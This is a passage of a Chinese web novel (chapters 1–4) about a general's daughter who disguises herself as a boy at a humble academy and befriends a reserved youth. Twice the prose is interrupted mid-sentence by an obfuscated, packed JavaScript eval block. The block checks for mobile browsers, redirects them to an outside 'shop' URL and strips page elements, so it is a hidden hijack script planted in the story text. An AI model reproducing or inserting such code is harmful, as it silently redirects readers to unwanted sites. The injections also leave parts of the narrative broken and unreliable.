《小姐她偏不跑路》 1. 第 1 章 后院的秋色,仿佛都染上了将军府的愁。 眼见着女儿穿戴齐整,就要跨出院门,将军夫人林纤云的眼眶说红就红。 “我的儿,那书院可苦了!听说顿顿清汤寡水,十天半月都见不着荤腥……”她捏着帕子,声音都带了颤,“你打小娇生惯养的,蚊子叮个包都要哼唧半天,真去了那种地方,可怎么受得住啊?” “娘,女儿受得住。”关昭昭乖巧地点头,她穿了身鹅黄色小袍子,头发梳成男童式样,用同色的发带束紧,腰间还挂了据娘说能保平安的和田玉,那一点翠汪汪的绿,衬得她那张小脸越发白净,嫩得像刚冒尖的桃花骨朵儿。 此时她一边应着,一边迫不及待地往门外偷瞄,心想着马车怎么还不来? “还有那平南侯世子!” 将军关忠背着手在门口来回踱步,靴子踩得地砖咚咚响,憋了半天,到底还是忍不住开了腔,“他家用的笔墨都是最糙的那种,写出来的字都洇墨!哪像咱们府都是上好的贡品,写一个字能顶人家写仨!” 关昭昭“哦”了一声,脑袋都没回。 关忠的脚步骤然一滞,瞪着眼看自家闺女的后脑勺。 林纤云赶紧扯了扯他的袖子,夫妻俩交换了一个眼神,目光齐刷刷转向一旁躬着身的管家季福,那意思明明白白:让小姐女扮男装去书院的主意可是你出的,现在怎么瞧着有点不灵啊? 季福脸上的笑容僵了僵,随即清了清嗓子,往前凑了半步,绘声绘色的描述道:“小姐,还有那衣裳呢!听说世子爷那件袍子都穿三年了,袖口磨得都起毛边,还打着这么大的补丁……” 他边说边拿手比划出一个巴掌大的圆,生怕关昭昭看不明白,“那叫一个穷酸呦!” 关昭昭终于把头转过来,眨了眨眼睛。 这回她听进去了,穷酸……就是很穷的意思,就像巷口那个卖糖人的老爷爷,冬天手冻得裂了口子,还坐在风里等着人来买。娘说,那爷爷是家里穷,儿女不管他,这么大年纪了还得出来讨生活。 他也会那样吗? 她忽然有点心疼,声音都小了些,“那他……是不是吃过很多苦?” 季福一愣,“这……应该是吧。” 关昭昭歪着脑袋想了想,然后认真地点了点头,“那他很厉害呀,吃过苦还能长那么好看,比别人都好看。” 季福张了张嘴,什么都没说出来。 关忠的眉毛此刻已经拧成了麻花,林纤云的帕子停在眼角,那几滴泪掉也不是,收也不是。 三个人你看看我,我看看你,心说这主意刚开张,怎么就觉得要砸? 关昭昭压根没留意身后那三道目光,一瞧见马车驶过来,便提着袍角,像只撒欢的小雀儿似的往外跑。 “爹娘,我走啦!” 车帘落下,车轮辘辘响起,载着她那颗雀跃的心,往青松书院的方向去了。 马车一路向前。 关昭昭趴在车窗边,看街边的铺子一间间往后挪,看挑担的小贩吆喝着擦肩而过,看天上的云慢悠悠地飘。 风从帘缝里钻进来,拂在脸上,痒痒的。 连带着她的心也跟着痒痒的。 那日她正在追一只漂亮的黄蝴蝶,一抬头,整个人便定住了。 银杏树下站着一个人。 她从没见过那么好看的人,比娘亲首饰匣里最白的珍珠还要白,比那只黄蝴蝶还好看。他就那么安安静静站在那儿,风吹得衣角微微飘动,像画里走出来的一样。 她看得呆了,想上前说句话,可刚一动,蝴蝶飞走了。等回过神来,树下已经空了。 回家以后,她心里就像揣了只小兔子,怎么也静不下来。吃饭时想,玩九连环时想,连爹爹新买的小马驹都只骑了一会儿就没了兴致,脑子里全是那片银杏树,和树下的那个人。 她不懂什么叫一见误终身,她只是单纯地想:要是能再见他一面就好了,跟他说句话,看看他笑起来是什么样子。 他长得那么好看,笑起来一定更好看吧? “小姐,到了。” 车夫的声音从外头传来,打断了她的胡思乱想。 关昭昭掀开车帘,探出脑袋,眼前是一座古朴的石牌坊,上头刻着“青松书院”四个字,笔画深深浅浅的,瞧着有些年头了。 牌坊下头,站着个比她高不了多少的小胖子,圆滚滚的身材裹在一身簇新的锦袍里,正踮着脚往这边张望。 一瞅见马车停,那小胖子立刻颠颠儿地跑过来,脸上的肉一颤一颤的。 “昭昭妹……弟弟!你可算来了!” 关昭昭眼睛一下子就亮了,是满仓哥哥!她们小时候常一起玩的,她记得上回见面还是中秋,陈满仓一口气吃了五个月饼,撑得直哼哼,她娘还笑着给他揉肚子。 可他怎么跑这儿来了?他不是在崇文馆念书吗? “满仓哥哥,你怎么在这儿?” 堂堂兵部侍郎独子陈满仓,一听这话,胖脸立刻垮了下来,委屈巴巴地告状,“还不是关伯伯!昨儿个突然派人来我家,跟我爹说‘借用三日’,二话不说就把我从崇文馆提溜出来了!” 说到这儿,他小胖脸上写满了心酸。 今天一大早他爹突然把他从被窝里揪出来,三下五除二塞进马车,耳朵边就灌进来一句话,“听你关世伯和昭昭妹妹的话,不然老子和关世伯一块揍你!” 一块儿揍,还两个! 他想想那个场面,就觉得浑身肉疼。 所以他现在一脸生无可恋,浑身上下都写满了“我是谁我在哪我为什么要来这破地方受罪……” 关昭昭见状,忍不住“噗嗤”笑出了声。 陈满仓幽怨地看着她,“你还笑……” 关昭昭连忙收住笑,四处张望了一圈,伸手指指书院的围墙,又指指院角那棵探出墙来的老槐树,一本正经地安慰他,“满仓哥哥,你看这书院,多清雅!” 陈满仓顺着她手指的方向一看。 墙是灰的,树是秃的,风一吹,几片枯叶子打着旋儿往下掉,再想想崇文馆那雕梁画栋、假山流水的景致,一时悲从中来,“雅,雅极了……” 雅得他心都在滴血! 他的螃蟹宴、他的冰镇樱桃酪、他那宽敞华丽的学舍……没了!全没了!可他不敢吭声,他怕关世伯那能单手举起石锁的巴掌。 两人来得早,书院里还十分清静,他们被书院杂役引着去拜见山长。 关昭昭一边走,一边打量着周围的环境,土墙是灰扑扑的,窗户是旧兮兮的,廊下的柱子都掉漆了。 她想起将军府那雕梁画栋,漆得锃亮的回廊,再看看眼前这个…… 原来这就是清苦啊。 她想着,低头看了看自己,鹅黄袍子是苏缎的,靴子虽然脏了,但那是鹿皮的,擦干净还能穿。再看看身边的陈满仓,衣裳穿得比她素净多了,一点花纹都没有。 关昭昭眨了眨眼,忽然有点心虚,这样走进去会不会太扎眼了?于是她想了想,悄悄把袖口往里卷了卷,露出里面素白的中衣,遮住袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那耕地的少年听见动静,直起身,侧过头来。 晨光恰好落在他眉眼间。 关昭昭张了张嘴,一下子忘了自己要说什么。 那是一张极白的面孔,白得像上好的羊脂玉,被日光一照几乎有些透明。眉也很淡,斜斜飞入鬓角,底下压着一双清凌凌的眼,眼尾微微上挑,眼珠却是极深的黑,黑得像深井里的水,看人时沉沉的,能把人的影子都吸进去。 鼻梁挺直,直直落到唇边才收了势,唇很薄,微微抿着,没什么血色。 他就这么侧身站着,半边脸线条干净得像刀裁出来的,风吹过,几缕碎发拂在额前,他也没动,只是那睫毛颤了颤,密密地垂下来,把眼底所有情绪都遮得严严实实。 旁边的陈满仓也愣了一下。 他在崇文馆见过不少长得好的,可这一眼,还是让他晃了一下神。倒不是那种一看就让人挪不开眼的漂亮,而是……让人看了一眼,就不太敢看第二眼的那种。 关昭昭呆了呆,随后整张脸“轰”地烧了起来,她连忙去拽陈满仓的胳膊,“满仓哥哥你快闭嘴!那是……” 话还没说完,就被一道凌厉的破空声生生切断。 也没见那菜地里的少年如何动作,仿佛只是随意直起身,手一扬。 一道乌光便倏然破空而来,闪电般掠过陈满仓那尚在喋喋不休的嘴巴,擦着耳廓…… “夺”的一声,深深钉入了身后的土墙! 2. 第 2 章 那是一柄旧镰刀,此刻刀叶子还在嗡嗡直颤。 陈满仓的脸“唰”地白了,嘴巴维持着半张的滑稽模样,眼珠子瞪得快要掉出来。 等他僵硬地扭过脖子,看清几乎贴着自己耳根钉进墙里的那抹寒光时,两条腿顿时软了。 “诶呦!”他圆滚滚的身子晃了晃,一屁股结结实实坐到了泥地上。 关昭昭也吓住了,小手不自觉地攥紧了衣角,呆呆地望向菜地。 却见那少年已经拍净了手上的土,逆着光,不紧不慢地朝他们走来。 晨光从他身后照过来,给他周身镀了层明晃晃的金边,眉眼在逆光中显得有些模糊,只那步伐平稳得让人心慌。 陈满仓眼见着那身影逼近吓得魂飞魄散,手脚并用地往后蹭,声音都不由自主带上了哭腔,“你……你别过来!再过来我、我真喊人了!山长!山长救命啊!” 江沉璧走到他面前,淡淡地睨了他一眼。 他身量颇高,虽年纪尚轻,却已显露出肩宽腿长的挺拔轮廓。眼神明明平静无波,可扫过来时又带着三分说不清的凉意。 陈满仓的嘴张着,愣在原地,一个字也蹦不出来了。 眼看江沉璧拔了镰刀,就要走,关昭昭急了。 她也不知道自己在急什么,只是想着不能让他就这么走了,得说句话,得让他知道自己是谁……刚才被他那双眼睛看过来时的慌乱还没褪干净,脸蛋上还烧着一层薄红,可她顾不上这些了。 “江、江兄好!” 她往前迈了半步,扬起脸,冲他绽开一个笑,“我叫关昭,是新来的学生。” 正准备转身的江沉璧,脚步几不可察地顿了一下。 他垂眸,目光落下。 眼前的小人儿努力挺直着那副还没他肩膀高的小身板,那仰起的小脸上一双杏眼睁得圆圆的,亮得惊人,或许是还在害怕,颊边还留着先前吓出来的淡淡红晕,映出几分傻气。 江沉璧的视线在那张过于生动的小脸上,停留了短短一瞬,便移开了。 “嗯。” 他极淡地应了一声,听不出情绪,旋即转身,素色的衣摆很快消失在了篱笆之后。 直到那身影完全消失在篱笆后头,关昭昭才小嘴微张,缓缓吐出一口一直憋着的气。 地上的陈满仓这时才“哇”一声哭了出来,“我要回家!这什么破书院!太吓人了!我要找我娘!我要回崇文馆……”他哭得真情实感,圆滚滚的身子一抽一抽,好不可怜。 正巧这时,出来接他们的温教习踱步过来,一见这场面便愣住了,看看坐在地上嚎哭的陈满仓,又看看旁边小脸表情复杂的关昭昭,迟疑道:“这……这是怎么了?” 陈满仓一见有人来,哭声一顿,张嘴就要告状,“我要、要……” 可话到嘴边,他又卡壳了。怎么说?说那小子用镰刀吓他?可人家镰刀钉的是墙,连他一片衣角都没碰着。说自己是被吓得腿软摔倒?这话说出来比他在崇文馆打架打输了还丢人! 他一张胖脸憋得通红,羞愤交加,还没等他想好怎么迂回地告上一状,就听见旁边关昭昭主动替他解释,“他没事,只是……嗯,自己不小心摔了一跤。” 她说得一脸诚恳,话毕还用力点了点小脑袋,仿佛在加强自己的说服力。 陈满仓一听,猛地抬起头,胖脸上眼泪鼻涕糊在一块,不敢置信地瞪着她。 关昭昭被他瞪得有点心虚,小手背在身后,指尖无意识地绞着衣角。可转念一想,又觉得自己没全说错!本就是满仓哥哥先笑话人的!神仙哥哥虽然……虽然……可又没真的伤着他。这么一想,她的底气又回来了。 温教习虽觉疑惑,但看陈满仓除了摔了一身土也没别的大碍,两个小娃娃之间的事他也不便深究,便温言安抚了几句,领着他们去见了山长。 山长是位清癯的老先生,捋着胡子打量眼前两个关系户。 一个灵秀得过分,却眼神乱飘。 一个胖得愁苦,还魂游天外。 他心下叹气,面上却不显,只例行公事般叮嘱了几句勤勉向学的院规,便挥挥手让他们去学堂了。 因为关家特意打点过,他们自然被安排与江沉璧同在一班,刚到学堂门口,里头已传来琅琅书声。 陈满仓蔫头耷脑地跟着迈进门槛,下意识抬头四望,等看见那抹熟悉的身影…… 顿时觉得,天,塌,了! 屋子里约莫有二三十个学生,年纪大多在十四五岁之间。 他们有的凑在一起翻同一本书,脑袋挨着脑袋小声说话,有的则拿着毛笔,互相在草稿纸上画着什么,发出压低了的嬉笑声。 而江沉璧就独自坐在窗边,一条过道像是把他和那些热闹隔开了,偶尔有人抱着书本经过,脚步都会不自觉地加快一点,眼神也不太往那边飘。 关昭昭脸上满是初来乍到的新奇,乌溜溜的眼睛一会儿看看高高的房梁,一会儿瞅瞅墙上挂着的字画。不过,看着看着,她忽然觉得好像有哪里不太对劲? 她坐的位置靠中间,稍微一扭头,就能瞥见斜后方窗边那个清瘦的身影。 她不明白为什么大家都不跟神仙哥哥坐一起?是他不喜欢别人靠近吗? 这时,上课的先生踱着方步走了进来,清了清嗓子,开始讲“大学之道,在明明德”。 关昭昭忙挺直小腰板坐端正,双手规规矩矩叠放在书案上,虽然那些文绉绉的话根本钻不进脑子,她还是学着旁边人的样子,脑袋跟着先生讲课的节奏一点一点的,假装自己听得很明白。 一堂课的时辰好像被拉得格外长,关昭昭一会儿数窗棂格子,一会儿偷偷掰手指头,好不容易才熬到下课钟“当当当”地敲响。 先生捧着书卷,慢悠悠地踱出了门。 关昭昭以为学堂里会立刻像炸开锅一样热闹起来,就像她以前在家学的堂课上那样。 可是,并没有。 大部分人都还坐在自己的位置上,或收拾书本,或继续闲聊,说笑的声音依旧压得低低的,直到江沉璧不紧不慢地合上手中的书卷,然后起身消失在门后。 学堂的空气才一下子变得鲜活,甚至有些吵闹起来。 这青松书院的学生虽多是平民子弟,可能送来读书的,家里多少也有些底子,真正的赤贫之家是掏不起束脩的。 几个衣着相对鲜亮些的少年立刻凑到了一起。 “喂,新来的。”一个少年扬着下巴,径直走到陈满仓桌前。 他叫周子昌,家里是京城颇有名气的绸缎商,一身绸缎袍子十分 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陈满仓一听这话,整个人跟打了鸡血似的,连腰杆都“唰”地一下挺直了,小肚子往前一腆,圆滚滚的身子活像只蓄势待发的胖猫。 他爹兵部侍郎!放在权贵扎堆的崇文馆或许得夹着尾巴做人,可在这满是商贾和平民子弟的青松书院,那还不是螃蟹过街横着走! 他已经能想象到了: 自己话音一落,四周一片倒抽冷气的声音,然后是一张张巴结讨好的笑脸凑上来,“哎呀陈兄失敬失敬”“原来是将门虎子”“以后多多关照”…… 嘿嘿嘿。 而此刻关昭昭却在一旁抿着小嘴,默不作声地听着,她托着腮帮子,目光越过乱哄哄的人群,落在窗外的背影上。 神仙哥哥一个人站在那儿,和所有人隔着一整片阳光的距离。 她忽然觉得,那些人笑得多大声,他那儿就有多安静。 安静得让人心里发堵。 她皱起小眉头,白白嫩嫩的脸颊被手掌挤得鼓了起来。 不过也就闷了那么一小会儿。 她黑葡萄似的大眼睛忽地一亮,眉头自己就舒展开了。 对呀! 他们不爱和神仙哥哥玩,是因为觉得他穷酸。那……如果她和满仓哥哥也很穷呢? 那她们不就和神仙哥哥一样了!大家就可以一起看书,一起说话,一起…… 正在这时,一旁的陈满仓正巧清完了嗓子,对着围拢过来的众少年下巴抬得老高,一副“你们可站稳了”的得意模样。 “我的身份嘛……说出来你们可别吓着!小爷我可是兵部侍郎府上的……” 嫡子! 哈哈哈,吓死你们这群土包子! 然而,他最后一个词还没来得及说出口,身后却突兀冒出一个声音,抢先他一步响亮道: “管家的儿子!” 陈满仓:“……嘎?” 他脑子“嗡”的一下,以为自己听岔了。 还没等他反应,那声音又响了一遍,这回还格外贴心地又补了一边,“没错,他是侍郎府管家的儿子,我……我是将军府管家的儿子!” 3. 第 3 章 陈满仓的眼神发直,整个人像被雷劈过的木桩子似的,一时间直愣愣的杵在了原地。 他酝酿了半天的气势,憋了一路的台词,此刻全卡在嗓子眼里,上不来下不去,噎得他直翻白眼。 四周安静了一瞬。 随即。 “噗——” 不知是谁没憋住,第一个笑出声来。 紧接着,像水珠溅进了油锅,嗤笑声噼里啪啦的炸开了。 “哈哈哈哈哈管家的儿子?” “我当是什么了不得的人物呢,端这么半天架子!” “哎哟喂,你们瞧他那脸,跟吃了苦瓜似的!” 说白了,若搁别的地界儿,勋贵府上的管家也算号人物,走到哪儿都有人给三分薄面。可这是哪儿?天子脚下!掉块砖头能砸中个勋贵,随便扔个石子儿都能打着侯府的墙,区区一个管家,算哪根葱? 陈满仓的脸涨成了猪肝色,嘴唇抖了抖刚想辩解,可一扭头,对上关昭昭那双亮晶晶的眼睛,到了嘴边的话又硬生生咽了回去。 一时间,他满脑子都是人生如戏,世事无常!回想起他老子送他出门前撂下的话:到了那儿,一切都听你关世伯和昭昭妹妹的! 可……眼下这话他到底该不该听啊? 小胖子纠结得五官都挤到了一处,活像只被踩了尾巴又不敢叫唤的胖猫,脸色一会红一会白,吭哧吭哧半天憋不出一个字来。 这副模样落在旁人眼里,可不就是心虚坐实了? “啧,扫兴。”有人撇撇嘴。 “走吧走吧,没什么好看的。” 周子昌脸上的笑意也淡了下去,目光在那两人身上转了转,意味不明地咧了一下嘴角,带着几个少年三三两两散了。 初秋上午的阳光斜斜照进学堂,在青砖地上投下规整的光格,细微的尘埃在光柱中缓缓浮沉。 方才还聚拢的人堆此刻已散开,带起些许流动的风,搅得那些光里的微尘一阵忙乱。 陈满仓孤零零站在那片阳光里,身影被拉得有些变形,不过很快他就接受了这个现实,毕竟在贵胄云集的崇文馆里,他也就是个不起眼的边缘人物,早习惯了被人忽视。 他盯着窗外晃动的绿影,脑子却转到了一个更严峻的伦理问题上:他现在成了自家管家的儿子,那他亲爹要是知道了,会不会直接气得大耳刮子抽他? 等等……不对呀!这话又不是他说的!真要抽,怎么也该先抽…… 陈满仓想着,小眼睛滴溜溜转向了一旁正不知在琢磨什么的关昭昭身上。 闹哄哄的学堂里,大多数人都还沉浸在新话题的余兴中,没有人注意到江沉璧的归来。 方才那场不大不小的闹剧,江沉璧都看在眼里。 当关昭昭那句“管家的儿子”冒出来时,他目光不经意扫过她腰间挂着的一枚成色极好的平安玉扣,样式是华元寺独有的。 他去年随皇后姑母去进香时,主持方丈特意提过,这种玉扣每年只给几位有缘的贵人备着。 只是他面上什么也没显,径直走回自己靠窗的座位,旧书案被午前的太阳晒得暖烘烘的,摊开的书页边缘有些卷起。 刚坐下,眼前的光线就暗了一小块。 一张因为兴奋而显得红扑扑的小脸,忽地从书案前探了出来。 “江兄江兄,你知道吗?我是管家的儿子,家里也很穷!” 关昭昭毫不掩饰她的迫不及待,还特意强调了一个也字,说完便眼巴巴地望着他,仿佛这是件多么了不起的事情。 江沉璧翻书的手指一顿。 他抬眼,看着眼前这双亮得过分的眸子,一时间竟不知该作何反应。 江沉璧见过太多接近他的眼神,挑衅的,怜悯的,藏着算计的……却唯独没应付过眼前这种。 沉默在两人间弥漫了一小会儿,就在关昭昭以为他又不会理自己时,才听到他几不可闻地“嗯”了一声,算是听到了。 关昭昭立刻像得到了嘉奖,干脆把小胳膊搭在两张书案中间的空处,脑袋又往前凑了凑,接着问出了让江沉璧彻底停下翻书动作的问题: “那江兄你开心吗?” 江沉璧握着书卷,第一次被问住了。 …… 日头渐渐西斜,将军府正厅里,鎏金香炉吐着淡雅的梨香,却抚不平关忠烦躁不安的心情。 他背着手,在屋里转了不下百圈,林纤云挨着铺了软锦垫的黄花梨木椅边坐着,手里那方丝帕已被她无意识地拧成了麻花,眼神频频飘向厅外的天色。 管家季福垂手侍立在厅角阴影里,眼观鼻鼻观心,面上虽镇定,心里却也没有多平静。毕竟这主意是他出的,既盼着小姐回来交差,心里头却又隐隐的不安,只能借着给老爷夫人续茶的功夫,悄悄往外瞥一眼。 终于,二门外传来一阵轻快跳跃的脚步声,夹杂着关昭昭那清脆的笑声,“爹爹!娘亲!我们回来啦!” 那声音由远及近,瞬间驱散了厅内三人的焦虑。 只见厅门处光影一暗,旋即被一个鹅黄色的雀跃身影点亮,关昭昭像只欢快归巢的雏鸟,一手还拽着个步伐沉重的陈满仓,蹦跳着跨过门槛。 关忠和林纤云的眼睛一下子亮了,高悬了一整日的心终于落回实处。 不等他们反应,关昭昭径直扑进关忠怀里,小脑袋在他身上习惯性地蹭了蹭,仰起脸笑出一口细糯的小白牙,“爹,娘!女儿回来啦!” 那笑容和早上出门时比,灿烂了不知多少! 关忠被女儿那灿烂得过分的笑容晃得一愣,随即心头狂喜,几乎要仰天大笑三声:好!好!他关家的小太阳总算回来了! 他勉强按捺住想要把闺女举起来转三圈的冲动,威严的目光扫向一旁努力表现得很稳重的陈满仓。 只见小胖子深吸一口气,圆滚滚的肚皮都往里收了收,迈着四平八稳的步子挪到厅中,规规矩矩地躬身,拿出了十二分的演技,“小侄给世伯、伯母请安。” 关忠看在眼里,喜上眉梢,捋着短须的动作都带上了几分得意,心里头最后那点顾虑瞬间烟消云散,恨不得当场给陈侍郎写封信,好好夸夸他教子有方! 满仓这孩子果然沉稳可靠,有乃父之风!有这小子陪着昭昭,哇哈哈哈,老夫简直是慧眼如炬,用兵如神啊! 林纤云则早已按捺不住,起身将女儿拉过来,就着光,上上下下仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341075|199327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细打量,连声问:“在书院可好?没人欺负你吧?午膳用了什么?” 关忠在一旁也按捺住急切,故意用随意的口吻期待地问:“闺女玩了一天,可见识到那世子是什么德行了?” 厅角的季福闻言也悄悄竖起了耳朵,身体不易察觉地往前倾了倾,脸上露出些许期待来。 谁知,关昭昭立刻从娘亲身边转回身,仰起因兴奋而显得极为红润的小脸,冲关忠绽开一个得意的笑,“爹爹!我都跟世子说啦,我爹是咱们府上的管家,咱家也穷得很!爹你可千万记得别穿帮!” “……” 正厅瞬间陷入一片死寂。 只有窗外有鸟扑棱棱飞过,留下几声鸣叫,反而衬得厅内更加安静。 关忠高大的身躯几不可察地晃了一下,仿佛被一柄重锤当胸击中,他张了张嘴,喉咙里先发出几声破碎的“嗬嗬……”怪响,半晌,才挤出一句: “老夫……是管家?还……穷得很?!” “噗——咳!咳咳!” 厅角猛地爆出一阵撕心裂肺的呛咳,管家季福方才那点稳重早已飞到了九霄云外,他手里端着的茶盏已经歪了,半盏温茶全贡献给了自己的前襟。 季福一时手忙脚乱,擦也不是,不擦也不是,眼神惊恐万状地在老爷、夫人和小姐之间飞快逡巡,恨不能当场消失! 祖宗明鉴那!他献计的时候,可万万没想过会是这个走向啊! 林纤云手里的丝帕无声滑落,她看着女儿纯真的小脸,又看看夫君那张仿佛瞬间被雷劈过的表情,一时竟不知该作何反应。 而一旁的陈满仓,早在关昭昭开口时就痛苦地闭上了眼睛,胖胖的身躯悄悄往红木柱子后挪了挪。 “你爹我……可是陛下亲封的正二品辅国大将军、堂堂魏武侯……”关忠捂着心口,声音都带了颤,试图跟闺女讲清楚这最基本的道理,“闺女啊,你为何要……” “爹爹!” 关昭昭打断他,小脸上满是认真,“你不知道,书院那些人觉得江兄家里穷,都不爱跟他玩儿,所以我就有了个主意!大家一起变穷,不就能名正言顺地一起玩啦!”说完她转头寻求支持,“你说对吧,满仓哥哥?” 突然被点名的小胖子浑身一激灵,猛地抬头,正对上关世伯那带着最后一丝期望的眼睛。 他胖脸一僵,喉咙里“咕咚”一声,半个字也不敢吐,只能挤出一个比哭还难看的假笑,然后用力地低下了头,假装研究地砖的花纹。 这时林纤云连忙上前,一手轻拍着夫君剧烈起伏的后背帮他顺气,一边试图做最后的挽救,“昭昭,我的儿,你听娘说……爹爹怎么能是管家呢?这……这不合适,你爹爹是将军,是朝廷里很大的官。” 关昭昭眨巴着大眼睛,“可是娘,管家也是很大的官呀!你看季叔平日多威风,大家都听他的!” 被点名的季福浑身一颤,脸色由白转青,扑通一声就跪下了,“老爷息怒!夫人明鉴!奴才、奴才万死也没想到……小姐她……她这般仁厚啊!” 他话还没说完,就听一声饱含了悲愤的痛呼猛然炸响,夹杂着老父亲的心酸与绝望。 “造孽啊——!!!” 4. 第 4 章 关昭昭牵着娘亲的手,沿着游廊缓缓往回走。 暮色已浓,廊下早早点起了灯笼,在黑暗中晕开一团团暖黄的光,将母女俩的身影拉长。 她的手在娘亲掌心不安分地动着,一路上小嘴就没停过,“……娘,书院窗外的树上住了只特别胖的麻雀!它跳起来的时候,小肚子一颠一颠的,还有窗格子的影子落在书案上,会随着日头走,可有趣了……” 林纤云微微侧头,看着女儿在灯光下半明半昧却焕发着惊人光彩的小脸,不由轻轻捏了捏她柔软的小手,柔声应和,“是吗?我们昭昭观察得真仔细。” 说着她顿了顿,像是不经意地问:“那……昭昭今日见到神仙哥哥,你觉得他如何?还像在寺庙时那般喜欢吗?” “神仙哥哥他……”关昭昭目光不由飘向廊外,似乎是在认真回想,“他对我比对满仓哥哥温柔多啦!嗯,还很厉害!” 林纤云自然不知道陈满仓早上差点被江沉璧开了瓢,两人没结仇都算不错了,只当是少年人之间有了些情谊。 看着女儿亮晶晶的双眼,她忍不住心中微动。自从昭昭幼时最要好的手帕交随父离京赴任,她已经很久没在女儿脸上见过这般鲜亮的光彩了。京中门第相当的女孩儿,不是被养得过分娇气文弱,与昭昭活泼的性子不合,便是早早学了后宅那些弯弯绕绕的心思,让人不喜深交。 女儿嘴上不说,但偶尔对着旧时玩伴送的小物件发呆的模样,她这当娘的都看在眼里,疼在心上。 若那少年真如昭昭所说,是个品性温良,能让昭昭开心展颜的,那……即便他家里清寒些又有何妨? 她关家是手握实权的将门,泼天的富贵或许没有,但让女儿一生衣食无忧,却是轻而易举。 银钱上的短缺,在她看来,反而是最微不足道的事,只要那孩子心正,待昭昭好,旁的,将军府难道还填补不上吗? 压下思绪,林纤云笑着顺着女儿的话问道:“哦?那昭昭还想继续跟他做朋友吗?” “想!”关昭昭毫不犹豫地点头,心说学堂可比家里好玩多啦! 回到暖融融的卧房,林纤云挥退丫鬟,亲自解开关昭昭那略显松动的男式发髻,让一头柔软的青丝披散下来,又用浸了温水的软帕轻轻擦拭女儿的手心。 关昭昭舒服地坐在绣墩上,小脚悬在半空晃动,暖阁里充满了母女间细碎的私语和笑声。 说了好一阵体己话,林纤云拿起玉梳,正要替女儿梳发,外头廊下却忽然传来一阵急促的脚步声。 紧接着,管家季福的声音隔着门缝传了进来,“夫人……夫人恕罪,扰您清净了。前头老爷那动静有些不对,您得空的话要不去瞧一眼?” 林纤云梳头的手微微一顿。方才夫君虽震怒,但此刻按理说该消停了,季福这般慌张再来请,怕是又出了什么意料之外的岔子,于是便对门外道:“知道了,我稍后便去。” 匆匆安顿好女儿,林纤云赶到前厅还未跨过门槛,一声中气十足的咆哮声便从院子里窜出: “什么?!你小子……居然又考了头名!!” 只见关忠再一次大马金刀地跨坐在太师椅上,一双虎目瞪得比铜铃还大,而他面前,两个约莫十五岁,生得一模一样的俊秀少年,正并排跪在地上。 他们穿着崇文馆统一的月白襕衫,身姿挺直如青竹,即便跪着,也自带一股与这武将厅堂格格不入的清傲。 这两位正是关昭昭的嫡亲哥哥,关家双生子:关凌庆和关凌墨。 林纤云还没来得及上前,关忠已猛地从椅子上弹起来,“夫人你瞧瞧!这两小子是要将老夫的一世英名毁于一旦啊!崇文馆今日放榜,这两小子居然一个头名,一个第三!” 说罢,他痛心疾首地捶了一下胸口,“祖宗在上!我关忠十五岁上阵杀敌,凭的是实打实的军功,是真刀真枪拼出来的前程!可现在呢?全京城都在看咱家的笑话!” 就因为有一双有状元之才的儿子,他不知被同僚多少次看似羡慕,实则揶揄的嘲讽,更可气的是还到处传言自己要弃武从文! “你们说说!这让为父日后见了地下的列祖列宗,怎么交代?丢人啊!简直是将门之耻!” 关凌墨抬起头,清俊的脸上带着平静的无奈,试图辩解,“父亲,文武本无高下,皆是报效朝廷之道,孩儿们用心读书,也是……” “你给老子住口!”关忠烦躁地挥手,像是要驱散空气中弥漫的文酸气,“一听你们说话老子就头疼!” 关凌庆则悄悄抬眼,小声问:“母亲,妹妹今日去了新书院……一切可还安好?” “好什么好!不许问!”关忠立刻警惕地瞪了两儿子一眼,“你妹妹好得很!你们少拿那些文绉绉的东西去沾染她!回头再把昭昭带得跟你们似的……” “……老子就把你们那些劳什子书啊帖啊,全扔演武场当柴火烧了!” 正是这个缘故,关忠才坚决不让关昭昭在家正经读书,只许认认字看看话本,就是怕他关家再出一个才女,再坐实了自己弃武从文的笑话,那他真是没脸再见军中老兄弟,没了活路! 林纤云好说歹说,才劝得关忠去睡觉,允了两个儿子起来回房自省,待前厅风波稍歇,她才拖着略显疲惫的步伐转回后院。 轻轻推开女儿卧房的门,却见屋内只留了一盏角落的灯,光线昏黄柔和。 本以为早已熟睡的小人儿,却还拥着锦被坐在拔步床内。 值夜的小丫鬟悄声禀报,“小姐不肯睡,定要等夫人回来。” 关昭昭见娘亲回来,困倦得眼皮都在打架,却仍旧努力撑出一条缝,“娘……你回来啦!” 林纤云见状,心中最柔软的地方仿佛被轻轻撞了一下,一整晚的纷扰疲惫瞬间一空。 她快步上前,脱下外裳,将女儿连同她怀里的软枕一起搂住,小人儿身上散发着干净的皂角味和孩童特有的暖香,身子软软地依偎过来。 “怎么还不睡?”林纤云低声应着,轻轻拍着女儿的背,“不是 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他圆圆的肩膀耷拉着,脑袋也耷拉着,每一步都走得沉重又拖沓,看起来不像是去上学,反倒像是去服苦役的。 没有人知道,他怀里还揣着娘亲塞给他的几块碎银和两张银票,不过只用再忍两天了!等后天他爹来接他,他就能彻底逃离这鬼地方,回他的崇文馆去了! 两人一前一后进了学堂。 陈满仓几乎是闭着眼,凭着肌肉记忆挪到了自己那最不起眼的位置,迅速趴下,将胖脸埋进臂弯,试图用这种方式隔绝这个让他浑身不适的地方。 而关昭昭一踏进学堂,那双乌溜溜的眼睛就立刻望向了靠窗的那个角落。 晨光正盛,将那一小片区域照得格外明亮,江沉璧已经坐在那里了,依旧是那身半旧的青色布衫,背脊挺直,微低着头,修长的手指正翻过一页书,发出极轻的声响。 